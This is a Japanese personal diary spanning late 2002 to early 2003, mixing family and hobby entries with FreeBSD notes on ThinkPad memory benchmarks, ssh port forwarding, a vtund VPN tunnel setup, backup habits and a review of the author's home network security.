今度の会社で使用するのパソコンは、当面 Windows2000 用が一台、Linux(^^; 用が一台。 FreeBSD とは離れがたいのでノートを持参するのだ。
Pentium4 1.8GHz PC200 DDR SDRAM 512MHz
IDE 80GB HDD
ってな仕様のを２台注文。ついに仕事で Linux を使うときが来ましたな(^^;。

2003年1月5日(日)

明日から出勤
なんと、明日から三ヶ月ぶりの出勤なのであります(^^;。ちなみに、新しい会社はまたまた家から遠くって、６時半頃に家を出ないといけないのです。
駅から１５分以上歩く場所にあるので、運動不足には丁度よいかなとは思っています。
マウリツィオ・ポリーニ
本日 NHK 教育で 23時35分からの、ベートーヴェンピアノソナタ32番・作品111は聴きのがせません。←演奏は素晴らしかったが「くまそホール(=_=)」。
アンケート結果
2日のアンケートになんと２通もの回答を頂きました。だたし回答して下さったのはお一人だったりします(^^;。どうもありがとうございます。sieve 100000000 実行のユーザー時間のみ記述致しますと、

機種名等秒数倍率

PowerPC G3 600MHz, bus clock 100MHz 33.8秒 1.02倍

Athlon 600MHz NetBSD-1.6 24.9秒 1.38倍

X24(参考) 18.3秒 1.00倍

R30(参考) 46.4秒 0.44倍

「倍率」の部分は、X24 を基準としたクロックを正規化した倍率で、大きい値の方が速いということです。こうしてみると、X24 が「普通の」速度で、R30 ははずれのようです(^^;。
ちなみに sieve の様なプログラムはメモリーのアクセス速度が重要なので、クロックが上がるほどは速度が上昇しない場合が多いのです。従って、クロックが 1.13GHz である X24 が 600MHz の Athlon に比べて、正規化した速度で 1.38 倍負けているのは妥当な値であると思われます。
まあ R30 は、クロックダウン(^^;してアクセスが非常に少ないサーバーとなっているので、今となってはどうでもよいのですが。どこのおうちでも、古くなって他に使い道がなくなった機種がサーバーになることが多いようですし(^^;。
それにしても、回答して下さった方は Mac と NetBSD 使い。なかなかのマニアですな(^^)。
＃ T シリーズの値も知りたかったりします(^^;。

覚え書き

WindowMaker 上で動作する X アプリケーションの kinput2 による日本語入力の挙動がおかしい場合、

~/GNUstep/Defaults/WMWindowAttributes に次のエントリを追加。

  Kinput2 = {
      DontSaveSession = Yes;
      KeepInsideScreen = Yes;
      KeepOnTop = Yes;
      NoAppIcon = Yes;
      NoHideOthers = Yes;
      NoKeyBindings = Yes;
      NoMouseBindings = Yes;
      NoResizebar = Yes;
      NoTitlebar = Yes;
      NotClosable = Yes;
      NotMiniaturizable = Yes;
      Omnipresent = Yes;
      SkipWindowList = Yes;
      Unfocusable = Yes;
  };

2003年1月4日(土)

お年玉
昨日は、午前中ちょっと書き物をしながら、テレビでだらだらと駅伝を観戦。箱根駅伝はうちの前の道路を通るので、選手が通る時間は外で応援。読売のおにーさんが、旗を配っていました。それにしても、あのスピードで２０キロ走るとはほんとにすごいですな(^^)。
１５時頃に、奧さまの母上が来て下さり、お正月のやりなおし。わたしの両親と奧さまの父上は十年以上前に亡くなっているので、子供達としては「おばあちゃん」がお正月に来てくれないと、とってもとっても困るのです(^^;。
そこまでは順調だったのですが、１７時頃に急に熱っぽくなってきて、計ってみたら３８度(^^;。そのまま撃沈してしまって起き出したのがなんと今日の朝３時(^^;。
昨日から時差ぼけを解消するはずだったのに予定が狂いましたな(^^;。ちなみに、熱の方は下がりました。
また発熱して沈没(=_=)。

2003年1月3日(金)

おやじ２
「ウケねらい」でなく本当に間違えてしまった(^^;。
しかも「しまった～」というスレッドがまた「おやじ２」(^^;。
また沈没するのに時間がかかりそうですな(-_-)。
そもそも、「削除キー」てゆーのがあるのに削除する方法が分からないのだ。まあいいんだけど。どうせあんなのを削除したらますます笑いのたねだし。
＃そりゃそーと「満腹」って元旦の誓いは(^^;。そっか、「焦らない」んすか。
日本科学未来館
綺麗で、広くて、展示も豊富、説明も分かりやすくて子供達は喜んでいました。全体的にとても良心的につくられていると思います。個人的な不満としては、
- ナノテクノロジー、遺伝子工学、ロボット、コンピュータ等の即物的な展示が多い。
- 科学の展示より、科学の手段の展示に重きがおかれている気がした。例えば宇宙のはなしだと、宇宙そのものではなく、調べる手段のロケットとか望遠鏡とか。
- ニュートリノ検出の光電管の展示なんかもやっていましたが、ノーベル賞をもらう前からやっていたなら大したものだが、きっと違うだろうな。
という感じで、主なるターゲットが子供なのである程度仕方がないですが、「科学未来館」というより「工学未来館」という趣きだったのが残念です。館長が毛利衛さんなのですが、彼の趣味なのだろうか。
DOSKEY
DOS 窓のヒストリーって、COMMAND.COM の時代から DOSKEY というのがありましたね。その機能をデフォルトでとりこんだのが CMD.EXE だと思っていたのですが。
F1,F2,F3 の編集って(^^; EDLIN を思い出してしまいます。
コンピュータの知識というのは、「こんなに知っている人がこんなことも知らない^^」という場合がありますし、わたくしの知識は特に偏りがひどいので、色々教えて頂けるのはいつでも大歓迎なのであります。

2003年1月2日(木)

お出かけ～
今日は、奧さまとモカと二女と日本科学未来館にお出でけ。理系が好きな親ですな。

あてにならないカタログ値

Thinkpad R30と X24 の体感速度が余りに違うので、ちょっとベンチマーク。カタログ上は CPU の速度もメモリーアクセス速度も似たようなものです。

テスト項目テスト内容 R30 X24 倍率

sieve 一億以下の素数表 46.4秒 18.3秒 2.5倍

pi 円周率 100万桁 67.2秒 32.0秒 2.1倍

ecc ECC 作成・検証 100万回 15.1秒 13.2秒 1.1倍

ecc はすべてのデータがキャッシュに入っていると思われます。
pi はキャッシュ内での計算も若干あるが、キャッシュミスも多いプログラム。
sieve はほとんどメモリーのバンドを消費するだけのプログラムです。

うーむ、ecc では CPU の速度比がそのまま出ていますが、 pi と sieve の場合メモリーのアクセス速度の違いがはっきり表れていますね。両方 PC-133 SDRAM でおんなじはずなのだが。確かに CPU の２次キャッシュの量は違うが、少なくとも pi と sieve の場合、メモリーバンドの消費量が大きすぎて大勢に影響がないはず。実際のアプリケーションはメモリーのバンドをかなり消費するので、体感速度が違うのは当然ですね。

経験的に IBM の PC は価格が信用できて、カタログ値はあんまり信用出来ない場合が多いようです。それにしてもちょっと違いすぎではないかな。これではカタログから速度を類推できないので困るのだ。

＃そう言えば、昔 IBM 製 i486-66MHz の高い PC の方が、
＃ Pentium-100MHz の Aptiva より速いことがありました。

ちなみにsieve.cを置きますので、FreeBSD とかお持ちの方は、

$ make LDFLAGS+=-lm sieve
$ time ./sieve 100000000

とでもやって、CPU やメモリーのカタログ値と実行時間を教えてもらえるとうれしいのです。ただし、この引数ですとメモリー 100M バイトたべます(^^;。

2003年1月1日(水)

お正月
新年明けましておめでとうございます。
昨年中はいろいろお世話になりました。
本年もよろしくお願い致します。
初日の出
余り天気が良くなかったのですが、ひょっとして一瞬晴れるかなと期待して、奧さまと江ノ島へ。残念ながら全然晴れませんでした。まあ、ドライブに行けたからいいや(^^;。
昨年の反省と今年の目標
去年はすごかったですからねえ。谷山浩子さんモードに入ったのはよいとしても、一年のうち４か月も会社にいかず。その前の５年間は、人の２倍働いていたから疲れが出たのでしょうねえ。一年休んだので今年は本気で働きましょう。てゆーか、働かないと破綻してしまう(^^;。
それで、仕事以外の目標。
- 谷山浩子さんのコンサートは去年くらい行きたい。ただし、グッズ等直接音楽とかかわり合いがないものに関しては出費しない。コンサートの場合パンフレットまで。
- 岩男潤子さんの CD はあと２枚買ったら一段落とする。谷山浩子さんから極力これ以上派生しない(^^;。よいものに関してはいろいろ教えて欲しいですけど。
- 長女と二女は合格してもらわないと困る(^^;。
- 日記はよほどのことがない限り毎日書く。だけど去年ほどは書けないかも。日記以外のページが余りにもずさんなので整理する←何回その言葉を言ったの(-_-)。
- コンピュータ関連の散財は行わない予定。ただし故障時と書籍を除く。もしかすると Ethernet/無線コンバーターは買うかも(^^;。
- マイプロジェクトは今日から(^^;真面目に行う。
仕事以外に関しては、あくまでも目標。変更の可能性が多々あります(^^;。規則正しく健康的な生活をするということですね。
mbuf
はずしていると思いますが、トンネルデバイスを使用するプロセスがハングする原因として、 mbuf 不足の場合が何回かありました。特に回線状態が悪い場合、瞬間的に保留パケットが大量に発生し、mbuf が不足する傾向にあります。
＃だけど一番ひまそうな時期だし、
＃mbuf 不足ならコンソールに出るだろうし、
＃ppp だけでなく、全体的に調子悪くなるしなぁ。

2002年12月31日(火)

お買い物
今日はお正月の食糧の買い出し。
年賀状
年内に年賀状を書き終えた最後の年はいつだったか。
今年は書けたのだ～(^^)/。
日記で宣言しておくのも悪くないですね。
年賀状の時間
年賀状の話は前日 18時頃書きました。決して 21時過ぎに書いたとゆーことはありませぬ。
BA512
実はうちには BA512 という NTT-ME のルーターがあります。動作が不安定とか不満があって、ずっと使っていなかったのですが、どうせ NAT 機能とポートフォワーディング機能があればよいので、最新のファームウエアをいれて実験してみたのです。長時間実験したわけでないので、信頼性とかはよく分からないのですが、実験した結果としては、
- 速度は 1.4Mbps 程度。現在使用しているルーターで 1.7Mbps 程度出ているのでちょっと遅いのですが、 ADSL が 1.5Mbps 時代に作られたルーターなのでこんなもんでしょう。
- NAT 機能。ポートフォワーディング機能は特に問題なし。
- 前は切断時の再接続に問題があったが、現在は大丈夫そうである。
というわけで、ちょっと速度が遅いのが難点ですが、バックアップとしては十分な能力ということが分かりました。いざという時のために、この設定で温めておくのだ。
実は、2001年8月3日に某氏(^^;に出したメールでこのルーターの当時のファームをけなしているのですが、最新のファームは 2001年8月23日版で、この版で良くなったのかも知れません。それはともかく、別に上手になったわけではないけど、読み返すとひどい文章ですな(^^;。

2002年12月30日(月)

ssh トンネル補足
ssh でトンネルを作るには -N オプションをつければ良いのですね。それで、port:host:port の host は local(client) を指定するので localhost が正しいです。ずたずたに間違えていました。どうして、host に evariste.dd.que.ne.jp を指定して一見うまくいったのだろう。ちゃんと「こっち」で 8110 ポート listen もしていたし。
$ ssh -f -N -L 8110:localhost:110 evariste.dd.que.ne.jp

という感じ。明日古いほうも修正します。検索で来られて、そちらだけ見てしまう人もいるかも知れないので。
海の時間
最近この曲を聴くことが多いのです。
昔を想い出させてくれるような郷愁感がよいのです。
この曲が一番好きかもしれません。
入らなかった PCI ボード(^^;
今日は午前中から偏頭痛がひどくってずっと寝てたのですが、午後になってから牛さま用の PCI ボードの買い物。 Windows2000 対応品ということで、藤沢のお店で、
- メルコのネットワークカード 850円
- いかがわしい感じのサウンドカード 2,000円
を買ってきました。いやー、いくらカニさんチップとはいえ、ネットワークカードって安いんですね(^^;。
それで、意気揚々と PCI の穴のところに挿そうとしたら、これが入らないんですね～(^^;。わたくしも PCI バスの DMA のファームウエアやデバイスドライバを書いた人間。さすがに PCI 側の規格はチェックしたのですが、 出口の規格もあったのですね(^^;。うちの PC は昔の PC や組み立て PC と違って、「最近の家庭用」 PC なので、出口がちっちゃいボードじゃないと入らないみたいなのです。しっ、しらなかった～(^^;。
出口の部分の規格はなんというのだろう。
↑レギュラーとロープロファイルというそうです。
てゆーわけで、消費税込みで 3,000円位無駄にしました。もう 2000化計画は中止。こわれるのを待ちませう(^^;。
＃自作するのは構わないのですが、置く場所がなかったりします(^^;。
明日今日は年賀状を書かねば。

とっても不便な拡張ベイ
IBM X24 を購入した時、ブート用にウルトラベースX2というのも一緒に購入したのです。これを使う利点としては、
1. フロッピーディスクドライブが内蔵されている。
2. CDROM ドライブの穴があいていて、そこに R30 の CDROM ドライブを入れると FreeBSD のブート用 CDROM からブート可能となる。本当はこの機能だけ欲しかったのです(^^;。
3. その他、RS232Cポート、パラレルポート、PS/2 ポート等のレガシーポートが使用可能となる。
4. デバイスが稼働中でなければ FreeBSD でも抜き差しできそうである。
と一見よいことだらけの様ですが、
1. 装着しずらい。
2. 取り外しにくい。
3. 高さが極端に高くなってキーボードを打ちにくくなる。
というように、問題点も多いのです。特に 3番目は我慢できないので、何らかの理由で CDROM ブートが必要なとき(てゆーか買ったときだけ^^;)以外使っていません。
ポート・リプリケーターは拡張ベイほど不自然にはならないと思いますが、大丈夫ですかねえ。適度な角度がついて丁度よいかな。

2002年12月29日(日)

モカはアイドル
長女が帰ってくると、「モカちゃんは」。
二女が帰ってくると、「モカちゃんは」。
ぱぱが帰ってくると、「モカちゃんは」。
人気がありますな。
日記の整理
前に書いたように、一度日記のディレクトリ構成を変更したのです。それで過去の互換性から .../2002/.. というディレクトリも残しておいたのですが、年末ということもあり、本日全部削除しました。それにともない自己参照リンクも修正したつもりです(^^;。まあ、今まで通りで問題ないであろうということです。
バックアップポリシー
ポリシーなんて立派なものではありませんが、バックアップの方針書。
- バックアップは 2台の UNIX マシン間で行う。
- 公開しているサーバーを運用していないので、復旧に時間がかかるのは構わない。メールサーバーの機能も一時的にレンタルサーバーにもどせばよいし。
- 人様のところからダウンロード(^^;した画像ファイル、 CD から作った mp3 ファイルなど、復元可能なものは一時的になくなっても構わない。
- OS やそれに付随するバイナリーも最初から入れればよいので、バックアップの必要はない。
- 要するに、メール、自分で書いたプログラム、ドキュメント、日記等自分のホームページの内容以外は一時的になくなってもよさそう。
- プログラムのソースに関しては、定期的にお客様や同僚に、適当な理由をつけてメールで送っておく。メールというのは結構みんなちゃんと保存してあるのだ。これで助かったことが一度あります。かっこ悪かったけど(^^;。
ということなので、メールと少量のテキストファイル以外は、なくなってしまっても、少々面倒な思いをすれば復元できそうです。まあ、システムをゼロからインストールし直すのも、楽しいと言えば楽しいし(^^;。
それで、運用としては、
- 必要なデータはすべてテキストファイルなので CVS 化する。ただしメールは CVS 化の意味がないので別扱い。そもそも、メールは、サーバー側とクライアント側で同じものを持っているので、バックアップする必要がないのです。
- 個別の生データも気が向いたら(^^;バックアップする。
- CVS 全体($CVSROOT 以下)も気が向いたら(^^;バックアップする。
ご存じのように、わたくし極端にずぼらな性格なので、バックアップをするのに手間がかかってはいけないのです。「コマンド一発」または「自動」で行う必要があります。
コマンド一発で自動的にバックアップするシェルでも書こうかな。単に ssh と scp の寄せ集めだけど。←書きました～(^^;。

2002年12月28日(土)

目標
昨日で大体の会社は仕事納めですね。もしかすると、今日のところもあるかも知れませんが、わたしもやっと人並み(^^;のお休みモードです。今日は今年の仕事の整理をして、明日からしばらく仕事は忘れます。
それで、恒例の←今年初めてじゃないか(^^;、年末年始の目標。
- 年賀状を書く。まだ全然書いてない(^^;。
- マイプロジェクトを大体完成させる。内容はしばらく秘密。これが一番大切。
- 牛さまの Windows2000 化(^^;。実は正式版の Windows2000 を持ってるのです。デバイスドライバーとかがちゃんとあるのかが問題ですね。牛サポートには 2000 用のドライバは置いてないようです。ちなみに牛の CPU は 600MHz 位で、メモリーは 256Mbytes 入っているはず。
  サウンドとネットワークカードはだめそうです。買うしかないかな。
  なんか、新しいの買った方がよいかも(^^;。
- 数学と宇宙論の本を一冊ずつ位読みたい。これは微妙ですね。
- 生活パターンを正常に戻す。これ意外と大切。
後は、あんまりごろごろしないこと(^^;。
バックアップ
よく dump コマンド等で、ディスクをまるごとバックアップする話を聞きますが(^^;、マウントした状態で行わなければ不便で仕方がないと思います。その場合、例えば、エディタでファイルをセーブし始めたときに、丁度バックアップされたりすると、最悪 0 バイトのファイルがバックアップされたりすると思うのです。あと、データ─ベースのトランザクション中など、もっと不整合が起きやすい気がします。こういうのはあんまり気にしないものなのですか。それとも、すごい勘違いしてますか。
少々の不整合は「気にしない」ということらしいです。ただしデータ─ベースに関しては、データ─ベースが提供する、整合が保証されたバックアップを行ってから dump 等を行うようですね。
「dump + 個別の整合がとれたバックアップ(特に自分にとって重要なデータ)」という感じなのですね。
ご存じだとは思いますが、伝統的に UNIX の通常ファイルに対する open や close は、ファイルに対して「なんにもしない」セマンティクスなので、オープンされているからどうこうということはないと思います。もちろん open の第2引数にに O_EXLOCK などが立っていれば別ですが、こうゆうのは推奨されないし、私も良くないと思います。ファイルのロックは、極力 OS に頼らず、プロセス間の協調で行うのが UNIX の考えだと思います。
ポート 80
ルーターから R30 へのポート 80 もフォワーディングする様ににしました。
http://evariste.dd.que.ne.jp/~kagami/diary/0000/newdiary.html
で日記にアクセスできたりします。ただしこちらは実験用なのでアクセス出来なくなったりすることも多いかも知れません。

2002年12月27日(金)

最悪の無線 LAN
前にも一度書きましたが、 FreeBSD の無線 LAN デバイスドライバはちょっと問題があるのです。それでもなんとか運用していたのですが、昨日は最悪でした。某会社様を訪問して、時間があったので、ロビーで電源を入れたのです。そしたら、電波状態が中途半端だったらしく、ブートして wi0 を認識したとたん、デバイスドライバーのポーリングループに入り込んで login が不可能になってしまったのです。これでは ifconfig wi0 down も入力できません。仕方ないので電源を落としてしまいました。てゆーか Windows みたいに Alt-Ctrl-Del(^^;。これだとちゃんと shutdown してくれる様です。まだまだ改良の余地がありそうですね。あちらこちらから無線 LAN の問題が聞えてきます(^^;。
自宅のセキュリティー考察
役所のセキュリティーの悪口を書いたので、自分のセキュリティーの検証。
- NAT ルータ
  これは、前の会社の NetBSD/sh4 箱で、セキュリティーホールもたくさんあるのだが、分かる人がほとんどいないので大丈夫というスタンスで販売されている。
  「分かる人が少ないので大丈夫」というのは非常に無責任なのであるが、一般の市販のルーターでも似たような現状であると思う。ただし NetBSD/sh[34] の場合はポーティングの稚拙さが余りに極端なのです。
- Windows ME
  ウイルスが常駐しなければ大丈夫と思われる。ちなみにウイルス防御ソフトを入れるなどという考えは絶対ぜったいにないのだ。人様に迷惑をかけようが、自分が痛い目に会おうが、絶対に入れないのだ。お金を出して、性能を落とすなどとゆうことはぜったい絶対にいやなのだ。←だだっこですな。
- メールサーバー、VPN サーバー、CVS サーバー等に使用のノート R30
  OS は FreeBSD-4.7。このサーバーのポートはほとんど空いていたりします(^^;。 NFS マウントも出来ますが、これは内部のみ許可です。
- クライアント FreeBSD ノート X24
  NFS マウントを許可していない以外は R30 と同じ。
- ルーターから R30 にフォワードされるポート
```
  22   ssh
  25   smtp
  79   finger(^^;
  80   http
 110   pop3
5000   vtund
```
  実際は pop3 port のフォワーディングは ssh トンネルを利用するので必要ありません。smtp port はレンタルサーバーからのメール受信に必要です。ちなみに、公開しているのでありますから、
  $ finger kagami@evariste.dd.que.ne.jp
  とするのは全く問題ありません。何の役にも立たないが。
- 無線 LAN
  無線 LAN のデータは 128bit の wep で暗号化されています。さらに UNIX と UNIX 間を流れるデータは NFS で流れるデータ以外はすべて ssh または vtund で二重に暗号化されます。この部分は問題ないと思われます。
- 絶対にばれてはいけないもの
  ルーターのパスワード。
  R30 の ssh private key, vtund のパスワード
  X24 の ssh private key, vtund のパスワード
  無線 LAN の wep key
  全体的に kagami のパスワード。全部おんなじだったりします(^^;
  プロバイダーやレンタルサーバーのパスワード
やはり Windows がネックですな。悪いというより分からないのです。理論的なネックとしては、Windows を支配されて、そこから R30 に NFS マウントされる。まあ、これはないだろうが。
しかし、とってもキュリティーにうるさい人が多いのに、一般のプロバイダーの HTML アップロード等が ftp しかサポートしていない場合が多いのは不思議だ。
＃いずれ痛い目に会うかもしれませんが、ウイルスやハードディスククラッシュの
＃悲劇にあったことがないのです(^^)。

2002年12月26日(木)

お仕事
今すいてる電車の中。今日は埼玉でお仕事。おそらく今年最後。来年も新会社でしばらく現在の仕事を継続するのだ。それでは AirH" でとんでけ～。
冬休み
昨日から冬休みで、３人ともごろごろしています。モカはともかく、他の二人は、受験だというのにパンツ出して寝転んでいて、とってもとってもうっとうしいのだ。女子中学生や女子高校生のパンツなんて大嫌いだ～(^^;。
子供から見ると、昼夜逆転したおとーさんが３ヶ月も家にいて、さぞかしうっとおしかったでしょうね(^^;。あと 10日の我慢だよ。
それはともかく、 R30 でふたを開けて、モジラのコンパイルをしたが熱暴走。ちゃんとファンは回っているのだが、どこが悪いのだろう。仕方がないので、電池起動の 700MHz に戻す。
なんか無線 LAN のカードを挿してから、こうなった様な気がするが不明。もしかして案外電気を消費するのかも。抜いてしまうとサーバーとして役に立たないので、実験が面倒なのだ。まあ電池起動でいいや。
世の中の人達の日記のねたをみると、パソコンのトラブルねたというのが非常に多い。たまにトラブらないと困るかも知れない(^^;。
＃ BIOS の設定で、常に 700MHz 起動にできる様です。

2002年12月25日(水)

クリスマス
昨日はクリスマスイブということで、奧さまの母上と妹さまも来てくださり、鳥とかケーキとかクリスマス料理を食べたのです。
考えてみると、私は無宗教だが、奧さまはカトリック。
大学を卒業するとき修道院に誘われたらしいのですが、いまのウルトラ俗生活とどちらが良かったんだか(^^;。
無宗教とカトリックの、ロミオとジュリエットのごとく困難なる結婚生活への道のりについてはこんど(^^;。
そーゆーわけで、うちのクリスマスは純情派・清純派・理論派・本格派・正統派なのであって、間違っても天皇誕生日にケーキを食べてしまうような俗物ではないのだ(^^;。
それにしても、若いのから...まで、女性がひとり、ふたり、...、わかんない～(^^)。 ←俗物ですな。
ちなみに、高尚なるクリスマス料理の一覧。
- 鳥
- ケーキ
- 海老フライ(^^;
- おでん(^^;
- たくあん(^^;
- シャンパン。なんと熊襲ブランド(=_=)。しかも長女が私の XXX を狙ってふたを開けたという。はずれたがな。
＃もちろん、仕事がお忙しいとか、お子さまが小さくて大変とか、
＃どうでもいいやとお考えとか存じております。
vtund 実践編
新会社に持っていった X24 をクライアントとして、問題なく動作しました。ポートは 5000 では余りにも目立ちそうなので 8080 にしたが。
要するに家の R30 が 10.3.0.1 で会社の新しく支給される UNIX マシンが 10.3.0.2 という、新規のネットワークカードをもって、遠距離をクロスケーブルで結んだ様に出来るのです。言い換えるといつでも、会社と自宅、どちらの方向からでもログインできます。もちろん、これらのマシンの ipforward を立てれば、他のマシン同士もログイン可能です。
本当に自宅に名前でアクセス可能だと色々遊べますな。
念のために。vtund は会社側がクライアントで evariste.dd.que.ne.jp に接続するのです。もし evariste.dd.que.ne.jp のアドレスが変わると、ちょっとの間おかしくなりますが、vtund の再接続機能により、いずれ接続されます。
面白いのは、この切断時間が極端に長くなければ、仮想アドレス上の接続は生きていたりすることです。Ethernet ケーブルをちょっとの間抜いても接続が生きているのと同様であたりまえなのですが。
この件はちゃんと偉い人に話してあったりします。
＃私を含めて、年末になるとサーバーを作りたくなる人が多いのだろうか。
役所の無線ＬＡＮ筒抜け
やっぱりね。彼らに無線の運用は絶対に無理。それにしても、不正コピーまでばれてしまうとは。

2002年12月24日(火)

新会社
今日は、来年から勤める会社へ。今年最後かな。
それはともかく、おめでとうございます(^^)。
冗談ですが、録画媒体としては、ハードディスクを利用して、タマごと入れ替えて使うのが一番安いかも(^^)。
↑さすがにちょっと高いか(^^;。
TCP トンネリング
よく TCP/IP といいますが、Internet の本質は IP であり、TCP は単に偶然採用されたIP と相性が良かったトランスポート層と考えられます。 IP はグローバルなプロトコルですが、 TCP は単なる端点と端点間のプロトコルです。言い換えると TCP を PPP のごとくデータ─リンク層だと思い直せば、 TCP 上の IP トンネリングが可能なわけです。
＃TCP は良くできたプロトコルだが IP と比べれば
＃自慢するほどのものではないのだ。
vtund
ssh を利用したトンネルは、ssh というアプリケーション(ポート)に依存したプロキシ的、かつ、暗号に特化したトンネルでした。利点としては、
- 一般ユーザーでも運用が簡単。ポイント to ポイント的な用途では十分な場合が多い。
- 暗号化が ssh の暗号化そのものなので、現在一般に利用できる暗号では最も強力であると思われる。
vtund は、トンネルデバイスを利用した、正統な(^^;、IP レベル VPN トンネルの確立を行います。
クライアント側とサーバー側で、サンプルをちょこちょこ直したコンフィグファイルを作成して、vtund を次のように動かします。

# /usr/local/sbin/vtund -s # サーバー(evariste.dd.que.ne.jp)側
# /usr/local/sbin/vtund -p kagami evariste.dd.que.ne.jp # クライアント
ただし、サーバー・クライアントいずれにも kagami のエントリがあるとします。また、記述ファイルの kagami の部分に、

ifconfig "%% 10.3.0.2 10.3.0.1 mtu 1400"; # クライアント
ifconfig "%% 10.3.0.1 10.3.0.2 mtu 1400"; # サーバー

なるエントリがあると仮定すると、次の遷移で vtund のセッションが確立され、トンネル経由でデータが流れます。
- vtund のクライアントは vtund のサーバへ通常、ポート 5000 を利用して接続する。
- vtund のセッションが確立。
- クライアント(サーバー)のアプリケーションが 10.3.0.1(10.3.0.2) への IP 転送要求。
- 10.3.0.2 ---> 10.3.0.1 interface tun0 なる経路がある。
- vtund は /dev/tun0 を read。
- vtund に IP ヘッダ付のパケットが読まれる。
- vtund は相手ホストの vtund ポートに上記パケットを転送。
以下は相手側の話で、
- パケットを受信した vtund は IP ヘッダ付のデータを /dev/tun0 デバイスに書き込む。
- パケットは経路表を通って該当のアプリケーションまたはネットワークインターフェースに転送される。
という案配です。vtund を利用したトンネリングは次の利点があります。
- 一度 vtund のセッションが確立されると、使用するユーザーにとっては IP 透過的な VPN が得られる。ルーターどうしで vtund のセッションを確立することにより、LAN to LAN の VPN も構築可能。
欠点としては、
- トンネルデバイスを使用するので、一般ユーザーが自分で構築するのは困難。例えば、レンタルサーバーとの間では vtund を使えません(^^;。
- 欠点というわけではないのですが、LAN to LAN の VPN を構成すると、必ず最初のうち経路表を間違えて設定してパケットが届かなかったり、応答が途中で消えたりする。←私の経路設定がうかつなだけといううわさも(^^;。
一般的には、個人で特定のアプリケーションを暗号化したい場合は ssh が便利で、ルーターで動作させて IP 透過的な暗号化を行いたい場合 vtund が便利です。まあ、vtund には他の用途もあるのですが、それはこんど(^^;。
(おまけ)

# ifconfig tun2 10.1.1.1 10.1.1.2
# hexdump -Cv /dev/tun2
# ping 10.1.1.2

で IP ヘッダ付の ping パケットが見えます。うまくゆかないときは、順番をかえたり ifconfig tun2 delete を何回か(^^;。

2002年12月23日(月)

クイズ
ついに終了ですか。修行およばず(全然していなかったりします^^) 最後の挑戦は難しそうです。曲名バグでも、瞬間芸しかできない人間と、楽しいゲームを作れる人がいるのですね。能力の違いを感じたりします(^^;。
腹切り
どうやら腹を切る必要があるようです(-_-)。
クリスマスプレゼント
クリスマスツリーを飾りました。部屋を暗くするととっても綺麗。
ちょっと早いが、奧さまからプレゼントをもらいました(^^)。
何をもらったかは秘密。
ちなみに、モカにあげるプレゼントは、私がとある場所に隠してあるのです。
業務(^^;連絡
バグ取りではまっているので、もうしばらくお待ち下され。
年末のバグ取りも恒例ですな(^^;。

2002年12月22日(日)

マイプロジェクト
そういや色々やらなければいけないことが(^^;。仕事しながらだと難しいですね。どこにも出かける予定がない年末年始が勝負だったりします。
IBM の T シリーズ
Thinkpad の T シリーズの位置づけというのは X シリーズの A4 バージョンなのかな。A シリーズは持ち運びをあきらめてる感じがする。
それにしても X30 って CPU を 1.06GHz にするとこんなに安いのですか。 1.20GHz と 1.06GHz で４万円も違う。私は、この違いには気が付かないので、絶対に安い方を買いますね。もう買いませんが(^^;。
X24 と X30 の本質的な違がいまいち。なんか X24 の方がよいような気がします。右側のキーボードがちっちゃくなっているのに気が付かない人なので、 X24 って欠点がないのです。
それより、ルータ専用に化石化したノート PC が欲しかったりします。
＃X24の kernel を最新に更新したらまた音が出なくなりました(^^;。
＃ブート時に固まるのです。なかなかパッチがマージされないわけですね。
ところで、メモリーのレジスタあり・なしって何ですか(^^;。

2002年12月21日(土)

昼夜逆転
最近完全に昼夜逆転、てゆーか、非常識な一日のリズム。そろそろ矯正しないとまずいです。
1. 6時頃起床。これはよい。
2. 12時頃まで仕事。これもよい。
3. 眠くなって 16時頃まで寝てしまう。これがよくない。
4. テレビみたり食事したり。また眠くなって 19時頃から 21時頃まで寝てしまう。これがよくない。
5. 21時頃から 4時頃まで日記を書いたり、仕事したり、インターネットをうろついたり。
6. 4時頃に寝る。goto 1。
寝る時間が分断されているのがよろしくないですな。やはり通勤する仕事でないと無理の様です。その辺に寝っころがる場所があるのが良くない(^^;。
マスコミの人
一般にマスコミの人が、谷山浩子さんのそっくりハウスを聴いたり、浩子さんのことばを聞くと本質を見逃すようですね(^^;。それではだれも書かない(書けない)らしいので。

ノーベル化学賞をもらった田中耕一氏は、もし自分の近くにいれば、とっても「いやな」人だと思う。顔がよくない。

＃人の好き嫌いは別としても、化学という学問は底が浅いですな。
＃小柴先生の業績とは大違いだ。
うーん、人の悪口モードに入ってますな。修正しないと。
決意
次の決意を表明いたします。守れなかった場合は腹を。。。それはちょっと(^^;。
- 朝は8時までに起床。
- 昼間は絶対に寝ない。
- 昼間一度は外出する。←今日はドラムの練習があるのでクリア。
- 夜は 2時前に寝る。
以上です。ちなみに、今まで「このプログラムにバグがあったら腹を切る～」と言って 100回以上死んでるはず。

2002年12月20日(金)

二女の担任
昨日は学校を４時間で終了して、高校を受験する生徒が、自分でその高校に願書を取りに行く日だったそうです。願書なんて個人が勝手に取りにいくか、学校でまとめて取り寄せるかすればよいと思うが、それはともかく、電車に乗って遠くまで願書を取りに行ったら「先生じゃないと渡さないシステム」だということ。
二女が担任に電話をかけたら、「一度自分一人で行った方がよいから」だって。修学旅行事件もそうだが、この人は自分が間違っていても絶対にあやまらないのだ。大はずれですな。
関係による対象の定義
物理学でおなじみの素粒子でも陽子、中性子、電子などは、中学生や高校生のころからなじみ親しんで、なんとなく太陽と太陽の回りをまわっている惑星っぽいイメージもあり、実在感が強いと思うのです。
特に、陽子と電子は、電磁気力により、われわれが感じとるほとんどの相互作用に関係しているので、なんとなく分かった気分になるのだと思う。
ただ、陽子や電子も、実際は「普通のイメージの粒子」ではなく、他の「対象」との相互作用(関係)を通して記述されているに過ぎないという観点が大切なのではないかと考えるのです。物理学では「場」というらしいが。
そういう意味で、素粒子に関しては、数学の抽象的な概念と同様で、最初からあまり具体的なイメージをもとうとすると理解が難しくなる可能性が強いわけで、これこれの相互作用をする「対象」と考えて、その相互作用(関係)を通じて「対象」を理解した気分になる方がよいと思うのです。
ただし、関係を通じて「対象」を考え、その「対象」を具体的にわかった気分になるには、該当の関係に関してそれなりの慣れは必要でしょうね。
＃解釈しすぎると難しくなってしまう場合があるかも。
＃素粒子論や宇宙論の一般向けの本を10冊位読んだ頃から
＃ちょっとだけわかった気分になってきました。気分だけですが(^^;。

2002年12月19日(木)

リズム
音楽はもちろんのこと、仕事や遊びでもリズムが大切だと思う。例えばじゃんけんをしていて、リズムに乗ると一気に連勝することがあります。クイズでも同様で、一度何らかの手違いで間違ってしまうと、その後リズムが狂ってぼろぼろになる場合があります(^^;。
